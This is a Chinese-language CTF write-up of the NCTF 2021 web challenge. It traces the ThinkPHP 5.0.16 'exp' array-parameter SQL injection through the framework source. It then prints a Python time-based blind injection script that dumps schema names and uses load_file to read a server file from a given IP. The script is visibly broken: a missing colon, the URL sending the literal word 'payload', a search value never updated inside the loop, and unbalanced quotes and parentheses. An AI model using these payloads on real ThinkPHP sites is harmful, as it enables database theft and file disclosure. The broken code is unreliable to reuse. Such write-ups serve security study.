2021 NCTF-web 擺就完事了(2)復現
阿新 • • 發佈:2021-12-13
2021 NCTF-web 擺就完事了(2)復現
前置知識
ThinkPHP5.0.16&5.1.6SQL注入漏洞
參考學習:https://www.cesafe.com/html/3631.html
首先跟入insert,thinkphp/library/think/db/Query.php:2078
public function insert(array $data = [], $replace = false, $getLastInsID = false, $sequence = null) { // 分析查詢表示式 $options = $this->parseExpress(); $data = array_merge($options['data'], $data); // 生成SQL語句 $sql = $this->builder->insert($data, $options, $replace); // 獲取引數繫結 $bind = $this->getBind(); if ($options['fetch_sql']) { // 獲取實際執行的SQL語句 return $this->connection->getRealSql($sql, $bind); } // 執行操作 $result = 0 === $sql ? 0 : $this->execute($sql, $bind); if ($result) { $sequence = $sequence ?: (isset($options['sequence']) ? $options['sequence'] : null); $lastInsId = $this->getLastInsID($sequence); if ($lastInsId) { $pk = $this->getPk($options); if (is_string($pk)) { $data[$pk] = $lastInsId; } } $options['data'] = $data; $this->trigger('after_insert', $options); if ($getLastInsID) { return $lastInsId; } } return $result; }
發現其進行了$sql=$this->builder->insert($data, $options, $replace);的構造語句,跟入thinkphp/library/think/db/Builder.php:720:
public function insert(array $data, $options = [], $replace = false) { // 分析並處理資料 $data = $this->parseData($data, $options); if (empty($data)) { return 0; } $fields = array_keys($data); $values = array_values($data); $sql = str_replace( ['%INSERT%', '%TABLE%', '%FIELD%', '%DATA%', '%COMMENT%'], [ $replace ? 'REPLACE' : 'INSERT', $this->parseTable($options['table'], $options), implode(' , ', $fields), implode(' , ', $values), $this->parseComment($options['comment']), ], $this->insertSql); return $sql; }
使用了parseData函式,跟入thinkphp/library/think/db/Builder.php:101
protected function parseData($data, $options) { if (empty($data)) { return []; } // 獲取繫結資訊 $bind = $this->query->getFieldsBind($options['table']); if ('*' == $options['field']) { $fields = array_keys($bind); } else { $fields = $options['field']; } $result = []; foreach ($data as $key => $val) { $item = $this->parseKey($key, $options); if (is_object($val) && method_exists($val, '__toString')) { // 物件資料寫入 $val = $val->__toString(); } if (false === strpos($key, '.') && !in_array($key, $fields, true)) { if ($options['strict']) { throw new Exception('fields not exists:[' . $key . ']'); } } elseif (is_null($val)) { $result[$item] = 'NULL'; } elseif (is_array($val) && !empty($val)) { switch ($val[0]) { case 'exp': $result[$item] = $val[1]; break; case 'inc': if ($key == $val[1]) { $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]); } break; case 'dec': if ($key == $val[1]) { $result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]); } break; } } elseif (is_scalar($val)) { // 過濾非標量資料 if (0 === strpos($val, ':') && $this->query->isBind(substr($val, 1))) { $result[$item] = $val; } else { $key = str_replace('.', '_', $key); $this->query->bind('data__' . $key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR); $result[$item] = ':data__' . $key; } } } return $result; }
分析該switchcase函式
switch ($val[0]) {
case 'exp':
$result[$item] = $val[1];
break;
case 'inc':
if ($key == $val[1]) {
$result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
}
break;
case 'dec':
if ($key == $val[1]) {
$result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
}
break;
}
發現當我們傳入的第一位的值為exp時,該函式會直接把第二位的值傳給result當中,於是我們可以傳參/?username[0]=exp&username[1]=payload,於是可進行sql注入。
ThinkPHP駝峰命名法
預設情況下,URL地址中的控制器和操作名是不區分大小寫的,因此下面的訪問其實是等效的:
http://tp5.com/index.php/index/Index/Index
http://tp5.com/index.php/index/INDEX/INDEX
做題詳解
掃目錄下原始碼得到www.zip
隨便輸入後發現網站是用ThinkPHPv5.0.16搭建的,發現我們可以路由訪問規則來進行訪問。
分析原始碼,找出上述漏洞後,我們可以使用基於時間的布林盲注來解題,指令碼如下:
import requests
import time
def SQL_injection():
for i in range(1, 100)
res=''
left=32
right=128
mid=(left+right)//2
while(left<right):
begin_time=time.time()
payload_database="if(ascii(substr(database(), %d, 1))>%d, sleep(4), sleep(1))" %(i, mid)
payload_all_database="if(ascii(substr(select(group_concat(schema_name))from(information_schema.schemata)), %d, 1))>%d, sleep(4), sleep(1))" %(i, mid)
payload_table="if(ascii(substr(select(group_concat(table_name)from(information_schema.tables)where(table_schema='nctf')), %d, 1))>%d), sleep(4), sleep(1))" %(i, mid)
payload_column="if(ascii(substr(select(group_concat(column_name)from(information_schema.columns)where(table_name='m1saka')), %d, 1)>%d), sleep(4), sleep(1))" %(i, mid)
payload_info="if(ascii(substr(select(load_file("/var/www/html/ffllaagg.php")), %d, 1)>%d), sleep(4), sleep(1))" %(i, mid)
payload=payload_info
url='http://129.211.173.64:8086/public/index.php/index/m1saka_m1yuu/index?username[0]=exp&username[1]=payload'
r=requests.get(url=url)
end_time=time.time()
lost_time=end_time-begin_time
if lost_time > 3:
left=mid+1
else:
right=mid
if(mid==32):
break
res+=chr(mid)
print(res)
if __name__ == "__main__" :
SQL_injection()
得到flag。